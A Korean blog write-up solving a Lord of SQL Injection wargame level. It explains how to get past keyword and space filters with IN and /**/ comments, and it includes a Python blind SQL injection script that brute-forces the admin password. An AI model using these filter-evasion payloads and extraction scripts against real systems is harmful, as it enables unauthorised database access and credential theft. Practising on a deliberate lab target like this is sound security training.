- no 파라미터에 prob, _, ., () , ', substr , ascii , = , or , and , 공백( ), like, 0x 문자열 필터링
- pw 파라미터에 ' 필터링
데이터베이스 구조형태 유추
id | pw | no |
guest | ? | ? |
admin | ? | ? |
지난 문제인 12번 문제에서 like가 필터링되는 부분이 추가된것 말고는 딱히 차이점이 없다.
like말고도 비슷한 기능을 가진 연산자들로 필터링 우회를 하면 된다.
LIKE 외에도 SQL 필터링을 우회할 수 있는 연산자와 방법들은 다음과 같습니다:
- REGEXP: 정규 표현식을 사용해 패턴 매칭을 할 수 있습니다.
- BETWEEN: 범위를 지정해 값 비교를 할 수 있습니다.
- IN: 여러 값을 조건으로 지정하여 OR 대체가 가능합니다.
- <>, !=: = 대신 불일치 조건으로 사용.
- 문자열 조작 함수: CHAR_LENGTH, LENGTH 등을 사용해 문자열 길이를 확인.
- 부울 논리 및 산술 우회: 1=1 같은 산술 표현식으로 우회.
여기선 IN을 사용하여 우회 해 보겠다.
먼저 공백도 필터링이 되고있어 SQL에서 주석으로 사용되는 /* */를 사용하여 공백대신 각 단어마다 주석을 넣어 읽을 수 있게끔 분류해주었고 like대신 in을 사용하여 ("admin")이라는 기준을 던져주며 id에 admin이라는게 있으면 Hello admin이 출력이 되게끔 해준다.
전에 푼 문제와 똑같이 blind sql injection으로 비밀번호가 8자리인것, no의 값이 2인것을 알아냈다.
따라서 무차별 대입 공격 코드 수정후 공격
import requests
import string
cookies = {'PHPSESSID': '8dafgns8mi1oanuvu0rp7ds0rd'}
characters = string.ascii_letters + string.digits
# 패스워드의 길이를 증가시키면서 추측
for pw_len in range(1, 9): # pw 길이가 1부터 8까지
for pw_word in characters:
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
# no 값에 || 조건을 추가하여 SQL 쿼리문을 우회
# mid(pw, {pw_len}, 1) like '{pw_word}' 로 추측한 각 자리의 문자 확인
no_condition = f"1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/mid(pw,{pw_len},1)/**/in/**/(\"{pw_word}\")"
# no 파라미터에 위 조건을 추가하여 요청
params = {
'pw': 'any_value', # pw는 원래 값 그대로 두고
'no': no_condition # no에 조건을 추가
}
# GET 요청 보내기
res = requests.get(url=url, params=params, cookies=cookies)
# 응답에서 "Hello admin"이 포함된 경우 비밀번호의 해당 자리값을 출력
if "Hello admin" in res.text:
print(f"pw의 {pw_len}번째 값은 {pw_word}입니다")
break # 해당 자리의 문자를 찾으면 다음 자리로 넘어갑니다.
'Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL Injection 12번 문제 - drakknight (1) | 2024.11.10 |
---|---|
Lord of SQL Injection 11번 문제 - golem (0) | 2024.05.15 |
Lord of SQL Injection 10번 문제 - skeleton (0) | 2024.05.13 |
Lord of SQL Injection 9번 문제 - Vampire (0) | 2024.05.13 |
Lord of SQL Injection 8번 문제 - Troll (0) | 2024.05.13 |